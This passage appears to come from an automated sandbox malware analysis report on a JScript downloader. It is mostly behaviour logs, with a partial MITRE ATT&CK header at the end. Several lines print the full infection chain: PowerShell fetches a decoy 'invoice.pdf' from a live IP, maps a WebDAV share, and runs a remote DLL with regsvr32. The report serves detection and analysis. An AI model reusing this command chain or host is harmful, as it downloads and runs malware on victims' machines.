Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8120.js.csv");ITextStream.WriteLine(" entry:7190 f:hxmasyt");ITextStream.WriteLine(" exec:2 f:hxmasyt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4644			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5223			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2156	Thread sleep count: 4644 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2156	Thread sleep count: 5223 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2948	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4180	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2194028506.000001F3FF6F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.2181653042.000001F3FF757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2196691474.000001F3FF757000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3406234733.000001F6AE22B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3407312480.000001F6B3855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
